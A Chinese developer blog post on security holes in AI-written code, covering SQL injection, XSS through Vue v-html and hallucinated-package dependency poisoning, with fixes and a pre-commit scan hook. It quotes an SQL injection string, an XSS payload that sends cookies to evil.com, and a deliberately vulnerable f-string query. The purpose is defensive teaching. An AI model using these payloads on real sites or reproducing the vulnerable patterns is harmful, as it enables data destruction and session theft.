上周四凌晨两点,我的服务器监控突然报警。
Grafana 面板上,数据库查询量飙升到平时的 40 倍。日志里全是畸形的 SQL 语句——有人在尝试注入攻击。
我顺着注入点一路追溯,发现那段有漏洞的代码,是两天前 Claude 帮我写的一段数据库查询。
AI 代码安全这件事,我一直觉得是"别人的事"。直到那天晚上,我盯着屏幕上一行行攻击日志,冷汗从后背冒出来——如果没有监控,数据库可能已经被拖了。
这不是危言耸听。我后来复盘了过去三个月用 AI 写的所有代码,发现了三个几乎人人都会踩的安全坑。今天全部摊开来讲,附检测方法和防护方案。看完之后,建议你也回去扫一遍自己的代码。
本文目录
- 🔓 01 SQL 注入——AI 最爱写字符串拼接
- 🕸️ 02 XSS 跨站脚本——v-html 是重灾区
- 💣 03 依赖投毒——AI 推荐的包可能是炸弹
- 🛡️ 04 我的安全防线——铁律 + 人格 + 自动扫描
🔓 01 SQL 注入——AI 最爱写字符串拼接
回到那天晚上的场景。
我在做一个用户搜索接口——根据用户名模糊查找。需求很简单,三句话就能跟 Claude 说清楚。Claude 给我写了一段 FastAPI 代码,看起来干净利落:
# search_users.py — Claude 生成的代码
@app.get("/api/users/search")
async def search_users(keyword: str):
# 看起来没问题对吧?
query = f"SELECT * FROM users WHERE name LIKE '%{keyword}%'"
results = await db.execute(query)
return results
六行代码,功能完整,跑起来也没报错。我当时赶进度,看了一眼觉得没问题,直接 merge 进了主分支。
问题就出在那个 f-string。
攻击者只需要在搜索框输入 '; DROP TABLE users; --,这段 SQL 就会变成:
SELECT * FROM users WHERE name LIKE '%'; DROP TABLE users; --%'
整张用户表,一条命令就没了。
这不是什么高深的攻击手段。SQL 注入是 OWASP Top 10 排名第一的 Web 安全漏洞,已经存在二十多年了。但 AI 依然在写这种代码。为什么?
因为 AI 的训练数据里充斥着教程代码、Stack Overflow 的快速解答、GitHub 的 demo 项目。这些代码的目标是"跑起来",不是"安全"。AI 学到的是"最常见的写法",而不是"最安全的写法"。字符串拼接 SQL 就是最常见的写法——简短、直观、初学者友好。
⚠️ 你回忆一下,自己有没有让 AI 帮你写过数据库查询?有没有检查过它用的是参数化查询还是字符串拼接?如果答案是"没检查"——你可能和两周前的我一样,埋了一颗定时炸弹在线上。
正确的写法是什么?参数化查询。把用户输入和 SQL 语句分离,让数据库引擎自己处理转义:
# search_users.py — 修复后的代码
@app.get("/api/users/search")
async def search_users(keyword: str):
# 参数化查询——用户输入永远不会成为 SQL 的一部分
query = text("SELECT * FROM users WHERE name LIKE :keyword")
results = await db.execute(query, {"keyword": f"%{keyword}%"})
return results
就多了一个 :keyword 占位符。攻击者输入的任何内容都会被当作纯文本处理,不会被当作 SQL 执行。
这个坑是怎么被发现的?qflow 的 12 人格 Review 系统。
那天晚上我紧急修复后,回去复盘了整个流程。那段代码是在一次赶进度时写的,跳过了 qflow 的 Code Review 环节直接上线。如果当时走了 Review 流程,qflow 12 个内置人格中的安全专家(SEC 人格)会自动扫描所有数据库操作,字符串拼接 SQL 会被立刻标红。
教训:流程偷懒一次,凌晨两点被叫起来一次。
评论区选一个(我先说我选 A):
你有没有被 AI 写的代码坑过?
- A. 有,被注入攻击
- B. 有,依赖问题
- C. 有,其他安全问题
- D. 还没有(但怕)
我选 A。凌晨两点被监控吵醒的感觉,不想再体验第二次。
SQL 注入只是开胃菜,下一个更隐蔽
🕸️ 02 XSS 跨站脚本——v-html 是重灾区
修完 SQL 注入那天,我决定做一次全面的安全审查。不查不知道,一查吓一跳。
前端项目里有一个富文本展示组件,也是 AI 帮我写的。功能是渲染用户发布的文章内容,用了 Vue 的 v-html 指令。
<!-- ArticleContent.vue — AI 生成的组件 -->
<template>
<div class="article-body">
<!-- 危险:直接渲染用户提交的 HTML -->
<div v-html="article.content"></div>
</div>
</template>
Vue 官方文档明确写着:"v-html 的内容直接作为普通 HTML 插入——不会作为 Vue 模板进行编译。永远不要把用户提供的内容作为 v-html 使用。"
但 AI 不读文档。或者说,AI 读了无数份文档,但它选择了"最简洁的实现"而不是"最安全的实现"。
攻击者可以在文章内容里嵌入这样的代码:
<img src=x onerror="fetch('https://evil.com/steal?cookie='+document.cookie)">
任何访问这篇文章的用户,Cookie 会被悄无声息地发送到攻击者的服务器。登录态、Session、Token——全部泄露。用户甚至不会看到任何异常。
更可怕的是,XSS 的攻击面比 SQL 注入大得多。SQL 注入需要找到特定的数据库查询入口,但 XSS 只需要找到任何一个"不转义用户输入"的地方。评论区、个人简介、文章标题、搜索结果高亮——只要有用户输入的地方,就有 XSS 的可能。
修复方案有两层:
// ArticleContent.vue — 安全版本
import DOMPurify from 'dompurify'
// 第一层:用 DOMPurify 过滤所有危险标签和属性
const sanitizedContent = computed(() =>
DOMPurify.sanitize(article.value.content, {
ALLOWED_TAGS: ['p', 'br', 'strong', 'em', 'ul', 'li'],
ALLOWED_ATTR: ['class']
})
)
// 第二层:CSP 响应头兜底,禁止内联脚本执行
// Content-Security-Policy: script-src 'self'
两道防线,缺一不可。DOMPurify 在前端过滤,CSP 在浏览器层面兜底。就算 DOMPurify 被绕过(理论上可能),CSP 也会阻止脚本执行。
AI 写代码的默认立场是"让功能跑起来",不是"让功能安全地跑起来"。这两者之间的差距,就是你半夜被叫起来的距离。
我扫了一下整个前端项目,一共找到了 7 处 v-html,其中 4 处渲染的是用户输入。全部改成了 DOMPurify 过滤。
再来一个选择题(我选 B + C 组合拳):
你怎么审查 AI 写的代码?
- A. 逐行看
- B. 跑测试
- C. 用安全扫描工具
- D. 不审查直接用
选 D 的朋友,认真的吗?不是我吓你,你可能比我更需要看第四节的安全防线方案。
💣 03 依赖投毒——AI 推荐的包可能是炸弹
前两个坑好歹是"AI 写了不安全的代码"。第三个坑更邪门——AI 推荐了一个根本不存在的包,然后有人抢注了它。
这不是我的亲身经历,但差点就是。
上个月我在做一个日志格式化工具,问 Claude 有没有好用的 npm 包可以把 JSON 日志渲染成彩色表格。Claude 给了我三个推荐,其中一个叫 json-log-prettifier。
我去 npm 上搜了一下——没有这个包。
如果我没搜、直接跑了 npm install json-log-prettifier,会怎样?那时候什么也不会发生,因为包不存在,安装会失败。
但如果有攻击者也注意到了这一点呢?
这就是依赖投毒的攻击逻辑:
Step 1 AI 幻觉出一个不存在的包名 Step 2 攻击者批量监控 AI 推荐的幻觉包名 Step 3 抢注同名包,植入恶意代码(窃取环境变量、反弹 Shell) Step 4 下一个听信 AI 推荐的开发者执行 install Step 5 npm install 触发 postinstall 脚本,恶意代码在本地执行
这不是理论推演。2025 年就有安全研究员做过实验:他让 ChatGPT 针对 20 个编程任务推荐 npm 包,其中有 5 个包是幻觉出来的。他全部抢注后,在三个月内收到了超过 15000 次安装请求。
⚠️ 想想看:你每次让 AI 推荐一个库,有没有去 npm/PyPI 上确认过这个库真的存在?有没有检查过它的 Stars、最后更新时间、维护者信息?大多数人不会。我以前也不会。
Python 生态也一样。PyPI 上的 typosquatting(名称相似投毒)更猖獗。AI 推荐 python-docx,你手滑打成 python-docxx,可能就中招了。
我现在的做法是三查原则:
📌 AI 推荐依赖「三查原则」——值得截图保存
一查存在:去 npm/PyPI 官网搜包名,确认存在且不是上周刚创建的
二查活跃:看 GitHub Stars、最后 commit 时间、下载量。Stars < 100 且半年没更新的要警惕
三查内容:看 package.json 有没有 postinstall 脚本,看源码有没有 eval()、Buffer.from() 等可疑操作
三步不超过两分钟。但能帮你躲过一次供应链攻击。
三个坑讲完了,接下来讲怎么系统性防住
🛡️ 04 我的安全防线——铁律 + 人格 + 自动扫描
被那次 SQL 注入事件教育完,我花了整整一个周末重新设计了 AI 代码的安全审查流程。不是"以后注意一下"这种空话——是写进代码和配置里的硬约束。
我的安全防线分三层:
第一层:CLAUDE.md 安全铁律
如果你看过这个系列的前几篇文章,你知道 CLAUDE.md 是 Claude Code 的"宪法"——写在里面的规则,AI 每次对话都会加载。我在 CLAUDE.md 的铁律区加了三条安全硬约束:
铁律 19 敏感文件保护:禁止将 .env、credentials、*.key、API Key 等敏感文件提交到 git 或写入代码中
安全规则 A 所有数据库操作必须使用参数化查询/ORM,禁止字符串拼接 SQL
安全规则 B 所有用户输入在前端渲染前必须经过 DOMPurify 过滤,禁止直接 v-html 渲染用户内容
安全规则 C 所有第三方依赖安装前必须确认包真实存在且活跃维护,禁止 AI 推荐即安装
这些规则不是建议,是硬约束。AI 在生成代码时会自动遵守。如果它试图写字符串拼接 SQL,铁律会强制它改用参数化查询。让 AI 的默认行为就是安全行为。
第二层:qflow 安全人格 Review
铁律管的是 AI"写"代码的阶段。但代码写完之后呢?
我用 qflow 搭了一套多人格 Code Review 系统。qflow 内置 12 个专业人格,每个人格专注一个领域。跟安全相关的主要是两个:
SEC(安全专家) 扫描 SQL 注入、XSS、CSRF、路径穿越、敏感信息泄露等 OWASP Top 10 漏洞。每次代码提交前自动触发。
QA(质量保证) 审查代码的边界条件、异常处理、输入校验。和 SEC 形成互补——SEC 找漏洞,QA 找"虽然不是漏洞但可能导致漏洞"的代码。
qflow 的 AdversarialReview(对抗性评审)更狠——它会让一个人格扮演攻击者,专门找其他人格通过的代码的漏洞。相当于红蓝对抗,只不过两边都是 AI。
回到那次 SQL 注入事件——如果当时走了 qflow Review,SEC 人格在第一轮就会拦截那段字符串拼接代码。问题根本不会到线上。
第三层:Routines 自动安全扫描
人格 Review 依赖你主动触发。万一又赶进度跳过了怎么办?
我在 Claude Code 的 Hooks 里配了一个 Git pre-commit 钩子。每次 git commit 之前,自动运行安全扫描脚本:
# 检查 1:SQL 字符串拼接
grep -rn 'f".*SELECT.*{.*}.*"' --include="*.py" && echo "BLOCKED: SQL 拼接" && exit 1
# 检查 2:v-html 未过滤
grep -rn 'v-html=' --include="*.vue" | grep -v 'sanitize\|DOMPurify' && echo "BLOCKED: v-html 未过滤" && exit 1
# 检查 3:敏感信息泄露
grep -rn 'API_KEY\|SECRET\|PASSWORD' --include="*.py" --include="*.ts" | grep -v '\.env\|os\.environ\|process\.env' && echo "BLOCKED: 硬编码密钥" && exit 1
这三个 grep 当然不能覆盖所有安全问题,但能拦住最常见的。配合 Bandit(Python 安全扫描)和 ESLint 的安全插件,基本能覆盖 80% 的常见漏洞。
安全不能靠自觉,得靠机制。CLAUDE.md 管生成,qflow 人格管审查,pre-commit 管兜底。三层防线,让你就算凌晨三点赶进度也不会裸奔上线。
整套方案跑了两周,拦截了 11 次安全问题。其中 6 次是 SQL 拼接,3 次是未过滤的 v-html,2 次是硬编码 API Key。每一次都是 AI 写的代码触发的。
这说明什么?**AI 在安全方面的"默认值"是不及格的。**你不能指望它自动写出安全的代码,就像你不能指望实习生第一天就知道不能把密码写在代码里一样。但你可以设好护栏,让它在护栏内写代码。
📌 AI 代码安全检查清单——值得截图保存
数据库操作:是否参数化查询?有无字符串拼接 SQL?
用户输入渲染:是否转义/过滤?v-html 有无 DOMPurify?
依赖安装:包是否真实存在?是否活跃维护?有无可疑 postinstall?
敏感信息:API Key/密码是否硬编码?.env 是否在 .gitignore 中?
权限校验:接口是否有鉴权?普通用户能否访问管理员接口?
文件操作:路径是否校验?有无路径穿越风险?
✍️ 05 写在最后
AI 编程是效率革命,但效率和安全之间有一个微妙的平衡。
AI 帮你把开发速度提升了 5 倍,但如果你不审查它的代码,那些漏洞也会以 5 倍的速度进入你的项目。以前一个人一天写 200 行代码,有漏洞顶多 200 行里找。现在一天 1000 行,每一行都可能是一个新的攻击面。
我的结论很简单:用 AI 写代码可以,但永远不要信任 AI 写的代码。
信任是给人的。给 AI 的应该是护栏、是 Review 流程、是自动化的安全扫描。让 AI 在安全的框架内全力输出,而不是让它自由发挥后祈祷不出事。
这套安全防线是 qflow 工作流的一部分。qflow 是我开源的 AI 工程化工具,除了安全人格 Review,还有任务管理、Spec 驱动开发、多人格协作等功能。感兴趣的可以去 GitHub 看看:github.com/Pangu-Immortal/qflow
⚠️ 下篇预告: 讲完了怎么防御,下一篇我要讲怎么进攻——用 AI 做渗透测试和安全审计。我花了一周时间让 Claude 扮演红队,对我的全部项目做了一次完整的安全审计。结果比我预想的触目惊心。下篇见。
最后一个问题(我选 C):
你觉得 AI 代码安全最大的风险是?
- A. SQL 注入
- B. 依赖投毒
- C. 敏感信息泄露
- D. 逻辑漏洞
我选 C。SQL 注入和 XSS 好歹能扫出来,但 AI 把你的 API Key 写进代码再 push 到公开仓库——这事儿防不胜防。你的 .env 文件在 .gitignore 里吗?现在就去检查一下。
AI 创业 100 天 · 系列文章
- 第一篇:提示词工程与上下文工程
- 第二篇:别再装 Skill 了
- 第三篇:我给 AI 接了 17 个 MCP
- 第四篇:Opus 4.7 + Routines 接了 231 个工具
- 第五篇:我卸了 Cursor,代码产出反而翻了 3 倍
- 第九篇:AI 写的代码让我差点被黑(本篇)
- 第十篇:用 AI 做红队安全审计(下篇预告)